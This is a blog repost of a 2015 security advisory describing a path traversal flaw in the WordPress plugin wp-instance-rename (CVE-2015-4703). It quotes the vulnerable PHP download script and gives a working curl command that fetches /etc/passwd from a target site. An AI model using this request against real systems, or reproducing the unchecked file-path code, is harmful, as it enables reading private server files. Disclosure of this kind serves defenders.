KangBlogger Tukang Rebahan Yang Nulis Artikel Kalo Lagi Santay Dan Berharap Cuan.

Arbitrary File download in wordpress plugin wp-instance-rename

45 sec read

Situs Download Drakor Sub Indo

Advisory #: 127
Title: Arbitrary File download in wordpress plugin wp-instance-rename v1.0
Author: Larry W. Cashdollar, @_larry0
Date: 2015-06-12
CVE-ID:[CVE-2015-4703]
CWE: CWE-22 Path Traversal
Download Site: https://wordpress.org/plugins/wp-instance-rename/
Vendor: Vlajo
Vendor Notified: 2015-06-12
Vendor Contact:
Advisory: http://www.vapid.dhs.org/advisory.php?v=127
Description: WordPress Rename plugin allows you to easily rename the complete WordPress installation. This plugin allows you to rename WordPress database, WordPress directory, change every necessary configuration file, easily from one page.
Vulnerability:The code in mysqldump_download.php doesn’t check that the requested file is within the intended download directory: try{ $dbname = $_GET[“dbname”]; $dumpfname = $_GET[“dumpfname”]; $backup_folder = $_GET[“backup_folder”]; }catch (Exception $e){} if(empty($backup_folder)){ $backup_folder=”backup/”; } echo “$dumpfname”; if (file_exists($dumpfname)) { // zip the dump file $name=$dbname . “_” . date(“Y-m-d”); $zipfname = $backup_folder.$name.”.zip”; $zip = new ZipArchive(); if($zip->open($zipfname,ZIPARCHIVE::CREATE)) { $zip->addFile($dumpfname,$dumpfname); $zip->close(); } // read zip file and send it to standard output if (file_exists($zipfname)) { header(‘Content-Description: File Transfer’); header(‘Content-Type: application/octet-stream’); header(‘Content-Disposition: attachment; filename=’.basename($zipfname)); flush(); readfile($zipfname);

Exploit Code:

curl --data "dbname=wp&dumpfname=/etc/passwd&backup_folder=."  http://www.example.com/wp-instance-rename/mysqldump_download.php -o p.zip 
KangBlogger Tukang Rebahan Yang Nulis Artikel Kalo Lagi Santay Dan Berharap Cuan.

Leave a Reply

Your email address will not be published. Required fields are marked *